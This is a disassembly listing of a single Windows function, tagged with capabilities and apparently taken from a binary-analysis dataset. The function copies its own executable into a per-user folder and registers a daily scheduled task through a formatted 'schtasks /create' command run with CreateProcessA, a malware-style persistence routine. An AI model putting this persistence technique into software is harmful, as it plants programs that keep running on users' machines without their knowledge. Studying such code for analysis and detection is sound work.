Function at 0x401610
Capabilities:
Copy file
Create process on windows
Get common file path
Schedule task via at
Schedule task via schtasks

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x898
mov eax, dword [0x434008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.00406b20
push 0x208
lea eax, [ebp - 0x318]
push 0
push eax
call fcn.00406b20
push 0x208
lea eax, [ebp - 0x520]
push 0
push eax
call fcn.00406b20
push 0x30c
lea eax, [ebp - 0x830]
push 0
push eax
call fcn.00406b20
push 0x100
call fcn.004095a7
mov esi, eax
add esp, 0x34
test esi, esi
je 0x401890
push 0x100
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, eax
test edi, edi
je 0x4016c6
cmp edi, 0x100
jae 0x4016c6
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x401726
push esi
call fcn.0040958c
add esp, 4
cmp edi, 0x1000
ja 0x401890
xor ecx, ecx
mov eax, edi
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.004095a7
mov esi, eax
add esp, 4
test esi, esi
je 0x401890
lea eax, [edi + 1]
push eax
push 0
push esi
call fcn.00406b20
add esp, 0xc
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push 0
call edi
push esi
test eax, eax
je 0x401888
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea edx, [ebp - 0x520]
mov ecx, esi
sub edx, esi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x401730
push esi
call fcn.0040958c
add esp, 4
lea eax, [ebp - 0x318]
push eax
push 0
push 0
push 0x801c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x401890
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call edi
test eax, eax
je 0x401890
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x318]
push eax
call esi
test eax, eax
je 0x401890
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x520]
push eax
call esi
test eax, eax
je 0x401890
push 0
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401890
lea eax, [ebp - 0x318]
push eax
push str.schtasks__create__tn__MyTask___tr___s___sc_daily__st_12:00
lea eax, [ebp - 0x830]
push 0x30c
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
push 0x44
lea eax, [ebp - 0x878]
push 0
push eax
call fcn.00406b20
add esp, 0x1c
mov dword [ebp - 0x878], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x848], ax
lea eax, [ebp - 0x890]
movaps xmmword [ebp - 0x890], xmm0
push eax
lea eax, [ebp - 0x878]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x830]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401870
push dword [ebp - 0x890]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x88c]
call esi
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404945
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040958c
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00404945
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret